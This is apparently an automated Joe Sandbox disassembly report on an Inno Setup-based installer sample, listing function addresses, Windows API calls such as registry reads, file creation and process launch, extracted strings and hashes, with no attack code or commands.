Opcode ID: d10465de438f0d9a20d62f3af6b3d551a4455012a7dd22e12cedccbfc0f573d8
Instruction ID: 2b961db3f5bdd9156690fc13548013475d80f4f35adf24b78551c01bb99683a1
Opcode Fuzzy Hash: d10465de438f0d9a20d62f3af6b3d551a4455012a7dd22e12cedccbfc0f573d8
Instruction Fuzzy Hash: 6B61B634A002948FDB24DF25C880BDAB7B5EF49305F0085EAED889B352D674AEC9CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0049292C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00403344: GetModuleHandleA.KERNEL32(00000000,0049293A), ref: 0040334B
Part of subcall function 00403344: GetCommandLineA.KERNEL32(00000000,0049293A), ref: 00403356

Part of subcall function 00409AE8: 6F571CD0.COMCTL32(00492949), ref: 00409AE8

Part of subcall function 004108C4: GetCurrentThreadId.KERNEL32 ref: 00410912

Part of subcall function 00418FB0: GetVersion.KERNEL32(0049295D), ref: 00418FB0

Part of subcall function 0044EFD8: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00492971), ref: 0044F013
Part of subcall function 0044EFD8: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F019

Part of subcall function 00451B74: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451C0D,?,?,?,?,00000000,?,0049297B), ref: 00451B94
Part of subcall function 00451B74: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451B9A
Part of subcall function 00451B74: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451C0D,?,?,?,?,00000000,?,0049297B), ref: 00451BAE
Part of subcall function 00451B74: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451BB4

Part of subcall function 00460AF4: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049298F), ref: 00460B03
Part of subcall function 00460AF4: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00460B09

Part of subcall function 00468898: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 004688AD

Part of subcall function 00473B70: GetModuleHandleA.KERNEL32(kernel32.dll,?,00492999), ref: 00473B76
Part of subcall function 00473B70: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00473B83
Part of subcall function 00473B70: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00473B93

Part of subcall function 0048FAC4: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 0048FADD

SetErrorMode.KERNEL32(00000001,00000000,004929E1), ref: 004929B3

Part of subcall function 0049273C: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,004929BD,00000001,00000000,004929E1), ref: 00492746
Part of subcall function 0049273C: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0049274C

Part of subcall function 00424444: SendMessageA.USER32(?,0000B020,00000000,?), ref: 00424463

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

ShowWindow.USER32(?,00000005,00000000,004929E1), ref: 00492A24

Part of subcall function 0047CB54: SetActiveWindow.USER32(?), ref: 0047CBF8

Strings

Setup, xrefs: 00492A0A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$HandleModule$Window$ActiveClipboardCommandCurrentErrorF571FormatLibraryLineLoadMessageModeRegisterSendShowTextThreadVersion
String ID: Setup
API String ID: 4284711697-3839654196
Opcode ID: 639ba3783921b247417bcefc2a0b3e3d8b803f8c75a70ac499f6ae3d48694326
Instruction ID: eded0d4357af90f477a459f2b01769dd77d742874e450745c10b4ef5d55a2914
Opcode Fuzzy Hash: 639ba3783921b247417bcefc2a0b3e3d8b803f8c75a70ac499f6ae3d48694326
Instruction Fuzzy Hash: C33115722046006FD601BBB7ED5395D3B98EBC9719B62457FF40492A93CE7C5C418A3E

Uniqueness

Uniqueness Score: -1.00%

Function 004523A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00452497,?,?,00000000,00494628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004523EE
GetLastError.KERNEL32(00000000,00000000,?,00000000,00452497,?,?,00000000,00494628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004523F7

Strings

.tmp, xrefs: 004523D7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 4a0e093c0516768d85d3f1ab6189cfbf3f3e2d31e0be1d7e979444a92c8dfe51
Instruction ID: f2a91aa9b7c92abf08b1cf9804f586f67492acd5f2b8aa702b6c2495f1d600d0
Opcode Fuzzy Hash: 4a0e093c0516768d85d3f1ab6189cfbf3f3e2d31e0be1d7e979444a92c8dfe51
Instruction Fuzzy Hash: EF216574A002089BDB01EFA1C9429DFB7B9EF49305F50447BEC01B7342DA7C9E048AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0045116C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,?,?,0aE,00000000,00456118,?,?,?,00000000,004511E6,?,?,?,00000001), ref: 004511C0
GetLastError.KERNEL32(00000000,00000000,?,?,0aE,00000000,00456118,?,?,?,00000000,004511E6,?,?,?,00000001), ref: 004511C8

Strings

0aE, xrefs: 004511B2, 004511B5

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateErrorLastProcess
String ID: 0aE
API String ID: 2919029540-2709181307
Opcode ID: e3d63d6d3609c0b896b47cbe3e6c70e55163f3a5d4d5f4b272d250c12acc0d6d
Instruction ID: ba1904f8ad5b396da002b91a84b6289d0307b3cc7d8e26f05fe7202b1d1cf5f2
Opcode Fuzzy Hash: e3d63d6d3609c0b896b47cbe3e6c70e55163f3a5d4d5f4b272d250c12acc0d6d
Instruction Fuzzy Hash: 5F115A72A04608AF8B40CEA9DC81E9B77ECEB4C350B1145A6FE08D3251D634AD14CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00477198 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047741E,00000000,00477434,?,?,?,?,00000000), ref: 004771FA

Strings

RegisteredOrganization, xrefs: 004771E9
RegisteredOwner, xrefs: 004771D7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 85432a3ed76ad868fb852c58816c2db2475bea01b49da00295727814efd58def
Instruction ID: 251e4fb5afb05e097686391082de11908fc67083b0d73a84a082d7502db0c793
Opcode Fuzzy Hash: 85432a3ed76ad868fb852c58816c2db2475bea01b49da00295727814efd58def
Instruction Fuzzy Hash: 26F0BB30708244AFDB11DBA59C52B9B375DD741304FA080BBF104DB382D6799D01C75C

Uniqueness

Uniqueness Score: -1.00%

Function 00470A40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,00470C77), ref: 00470A65
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,00470C77), ref: 00470A7C

Part of subcall function 00451E20: GetLastError.KERNEL32(00000000,00452891,00000005,00000000,004528C6,?,?,00000000,00494628,00000004,00000000,00000000,00000000,?,004921BD,00000000), ref: 00451E23

Strings

CreateFile, xrefs: 00470A71

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: CreateFile
API String ID: 2528220319-823142352
Opcode ID: 7e28141043a3e0f576738c48cd57d39c8717062d9e0e2e81c58d16874d68a086
Instruction ID: f059ad179e7cc864c024b880cb83de53b773c1d1f6c265ff80624fd6f5be5d41
Opcode Fuzzy Hash: 7e28141043a3e0f576738c48cd57d39c8717062d9e0e2e81c58d16874d68a086
Instruction Fuzzy Hash: 86E06D74351304BBEA10E669CCC6F4A77889B18768F10C152FA59AF3E2C5B9EC40861C

Uniqueness

Uniqueness Score: -1.00%

Function 00468898 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042E1F0: SetErrorMode.KERNEL32(00008000), ref: 0042E1FA
Part of subcall function 0042E1F0: LoadLibraryA.KERNEL32(00000000,00000000,0042E244,?,00000000,0042E262,?,00008000), ref: 0042E229

GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 004688AD

Strings

SHPathPrepareForWriteA, xrefs: 00468898
shell32.dll, xrefs: 004688A2

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressErrorLibraryLoadModeProc
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2492108670-2683653824
Opcode ID: 7d9e8a1c9394b5a8d7c81de7f260a8a70e759d715e8b294ff61618bd829d2d70
Instruction ID: 6cffaa682af11576deed02c6796eeeee027c815ce59d8c7ab8a1b116f7f65a8a
Opcode Fuzzy Hash: 7d9e8a1c9394b5a8d7c81de7f260a8a70e759d715e8b294ff61618bd829d2d70
Instruction Fuzzy Hash: 43B092F0A8071286DA0077B69842B1B2204D7D0708BE0897F7044BB289EE7C84054B9E

Uniqueness

Uniqueness Score: -1.00%

Function 0047C208 Relevance: 4.6, APIs: 3, Instructions: 98windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,00000000,0047C340), ref: 0047C2D8
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 0047C2E9
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 0047C301

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Menu$Append$System
String ID:
API String ID: 1489644407-0
Opcode ID: 15f49a51bc99aadf11e624829d5c93e52e60f789ff86a8cde7e3ee935291695d
Instruction ID: e529b759dd7a2e51a8c3bcc96a7d172377ee55af5fc7f1ed5a89e34a1d2f7138
Opcode Fuzzy Hash: 15f49a51bc99aadf11e624829d5c93e52e60f789ff86a8cde7e3ee935291695d
Instruction Fuzzy Hash: 0A31A170B047406AD711FBB59CC2BAA3AA49F51318F54857FB9049B3D3CA7C9809C79D

Uniqueness

Uniqueness Score: -1.00%

Function 00450E94 Relevance: 4.6, APIs: 3, Instructions: 75COMMON

Download Yara Rule

APIs

74D41520.VERSION(00000000,?,?,?,004917BA), ref: 00450EB4
74D41500.VERSION(00000000,?,00000000,?,00000000,00450F2F,?,00000000,?,?,?,004917BA), ref: 00450EE1
74D41540.VERSION(?,00450F58,?,?,00000000,?,00000000,?,00000000,00450F2F,?,00000000,?,?,?,004917BA), ref: 00450EFB

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: D41500D41520D41540
String ID:
API String ID: 2153611984-0
Opcode ID: 7772eee873665419e592b8f0c908b8e340ebe2ab536abffed1c380b4fbd37808
Instruction ID: 38752d589292965b455f679da5e662606514df90b198f4031c48c0776fd97eb8
Opcode Fuzzy Hash: 7772eee873665419e592b8f0c908b8e340ebe2ab536abffed1c380b4fbd37808
Instruction Fuzzy Hash: 3F21A736A04208AFDB11DAA98C41DAFB7FCEB49315F554076FC04E3382D6799E04C769

Uniqueness

Uniqueness Score: -1.00%

Function 0044AC20 Relevance: 4.6, APIs: 3, Instructions: 74COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,00000000,00000000,0044AD21,?,0047CB6F,?,?), ref: 0044AC95
SelectObject.GDI32(?,00000000), ref: 0044ACB8
73A1A480.USER32(00000000,?,0044ACF8,00000000,0044ACF1,?,00000000,?,00000000,00000000,0044AD21,?,0047CB6F,?,?), ref: 0044ACEB

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A480A570ObjectSelect
String ID:
API String ID: 1230475511-0
Opcode ID: 3e82d226e837a8f6b7b2e24a5f41b75efb5a851a96c6751f784262e8f2c57c71
Instruction ID: 433fe99046f9b8d1d8bc89e2463d1e9b45a303d4827d396566f55289c028a56b
Opcode Fuzzy Hash: 3e82d226e837a8f6b7b2e24a5f41b75efb5a851a96c6751f784262e8f2c57c71
Instruction Fuzzy Hash: 0B21A470E44248AFEB01DFA5C885B9EBBB9EB49304F41847AF500A7681D77C9950CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0044A954 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0044A9E0,?,0047CB6F,?,?), ref: 0044A9B2
DrawTextW.USER32(?,?,00000000,?,?), ref: 0044A9C5
DrawTextA.USER32(?,00000000,00000000,?,?), ref: 0044A9F9

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: DrawText$ByteCharMultiWide
String ID:
API String ID: 65125430-0
Opcode ID: c13eedb90b8a925426525e5fed0b4ef7f0e424fa92bc79367e1c17be0fc738c0
Instruction ID: 95435d2b4f75e5b2944811cec87d15154efa184d0a126f2c6d3e2a7360284236
Opcode Fuzzy Hash: c13eedb90b8a925426525e5fed0b4ef7f0e424fa92bc79367e1c17be0fc738c0
Instruction Fuzzy Hash: 101108B27406047FEB10DBAA8C82D6FB7ECDB49724F10413BF504E72D0C6389E418669

Uniqueness

Uniqueness Score: -1.00%

Function 0042436C Relevance: 4.6, APIs: 3, Instructions: 59windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00424382
TranslateMessage.USER32(?), ref: 004243FF
DispatchMessageA.USER32(?), ref: 00424409

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 4c72fe453077d3d5441811771d3c73f57da1beb0f02e586e781598996b195a0c
Instruction ID: aef1b0206ccdbb2aa8587e86ea6dacd49c82d9c27d6d10fa8c02d352bba97142
Opcode Fuzzy Hash: 4c72fe453077d3d5441811771d3c73f57da1beb0f02e586e781598996b195a0c
Instruction Fuzzy Hash: 6F11543030432056DA20E665A94179B73D4DFC1B44F80886EF9DD97382D77D9D4987AA

Uniqueness

Uniqueness Score: -1.00%

Function 004165B4 Relevance: 4.5, APIs: 3, Instructions: 39COMMON

Download Yara Rule

APIs

SetPropA.USER32(00000000,00000000), ref: 004165DA
SetPropA.USER32(00000000,00000000), ref: 004165EF
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 00416616

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Prop$Window
String ID:
API String ID: 3363284559-0
Opcode ID: 5c6b3d06cb009850df356c260b5fd7b3460cba3a8d418ad6d76e3dbffd8df0bd
Instruction ID: a4591c201cec785823d6f09090f19fa17713029ec43dd267bc08175e274880c9
Opcode Fuzzy Hash: 5c6b3d06cb009850df356c260b5fd7b3460cba3a8d418ad6d76e3dbffd8df0bd
Instruction Fuzzy Hash: 3EF0B271701210BBD710AB999C85FA632DCAB49715F160576BE09EF286C778DC41C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDC4 Relevance: 4.5, APIs: 3, Instructions: 27windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0041EDD4
IsWindowEnabled.USER32(?), ref: 0041EDDE
EnableWindow.USER32(?,00000000), ref: 0041EE04

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$EnableEnabledVisible
String ID:
API String ID: 3234591441-0
Opcode ID: 09ca1b9a0e147f9e3f9c02f0c1b7de6c858dacd1e672d107cae65fab239c05be
Instruction ID: 54ed9e8c30520215bbb9e32f791a183ef62373b3d5af12756bdb3ea3c07ca3da
Opcode Fuzzy Hash: 09ca1b9a0e147f9e3f9c02f0c1b7de6c858dacd1e672d107cae65fab239c05be
Instruction Fuzzy Hash: 8EE0E5B81003006AD710AF27DC85A57B69CBB55314F55843BAC0597693E63ED9408AB8

Uniqueness

Uniqueness Score: -1.00%

Function 004062A0 Relevance: 4.5, APIs: 3, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 004062A1
GlobalUnWire.KERNEL32(00000000), ref: 004062A8
GlobalFree.KERNEL32(00000000), ref: 004062AD

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Global$FreeHandleWire
String ID:
API String ID: 318822183-0
Opcode ID: 811b5650058efd060b0480522622cea17f29fa46ba8acc2a698c355084a7e242
Instruction ID: 232b5a29dca1329e6ee8fbf729e049d74cb9239d0bdd557acda0a77be920d3a5
Opcode Fuzzy Hash: 811b5650058efd060b0480522622cea17f29fa46ba8acc2a698c355084a7e242
Instruction Fuzzy Hash: 73A001C4804A04A9D80072B2080BA2F244CD8413283D0496B7440B2183883C8C40593A

Uniqueness

Uniqueness Score: -1.00%

Function 00408544 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040867A), ref: 00408563

Part of subcall function 00406D54: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406D71

Part of subcall function 004084D0: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,004944C0,00000001,?,0040859B,?,00000000,0040867A), ref: 004084EE

Strings

D)I, xrefs: 0040857E, 0040858C, 004085A9, 004085B7, 004085FD, 0040860B, 0040862A, 00408638, 0040866C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID: D)I
API String ID: 1658689577-3281296081
Opcode ID: 9103b9db00703e184e34eb4656f7bfd6b4db387a392b2c8979318a7ca80b884a
Instruction ID: f58fcf4e1761da05b427c157ba45b790d79041d0860886b9734fa9e18fdbd457
Opcode Fuzzy Hash: 9103b9db00703e184e34eb4656f7bfd6b4db387a392b2c8979318a7ca80b884a
Instruction Fuzzy Hash: B4316575E00109ABCF01EF95C8819DEB779FF84318F158577E815BB245E738AE058B94

Uniqueness

Uniqueness Score: -1.00%

Function 0047CB54 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 0047CBF8

Strings

InitializeWizard, xrefs: 0047CB9B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ActiveWindow
String ID: InitializeWizard
API String ID: 2558294473-2356795471
Opcode ID: 7279c2e58fd28a7885900cae1b936918ab34a155763bf2546a03f5746716a5ae
Instruction ID: 3ab1797be40594411df6c685a440b4787fcf783bea31960e6df624453c322c8c
Opcode Fuzzy Hash: 7279c2e58fd28a7885900cae1b936918ab34a155763bf2546a03f5746716a5ae
Instruction Fuzzy Hash: C011CE70208244AFD715EB6AFC92F4537A8E355328F2084BBF418CB3A1DB79A801CB0D

Uniqueness

Uniqueness Score: -1.00%

Function 004770B4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,004772FA,00000000,00477434), ref: 004770F9

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004770C9

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpen
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 47109696-1019749484
Opcode ID: 71c6e6b3dc286b70a3593d79c622b1ea36892c5bd16880d74348932d8ba95855
Instruction ID: 04cc745cd351e58eb0cff21a747400ae09bf373c4f85ab843473da0d03261e2e
Opcode Fuzzy Hash: 71c6e6b3dc286b70a3593d79c622b1ea36892c5bd16880d74348932d8ba95855
Instruction Fuzzy Hash: 7BF0A7317081246BDA00A65E9C42BAFA7DDCB84758FA0443BF508EB343D9BD9E0243AC

Uniqueness

Uniqueness Score: -1.00%

Function 0046A878 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,?,004950AC,?,0046AB7B,?,00000000,0046B003,?,_is1), ref: 0046A89B

Strings

Inno Setup: Setup Version, xrefs: 0046A899

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Value
String ID: Inno Setup: Setup Version
API String ID: 3702945584-4166306022
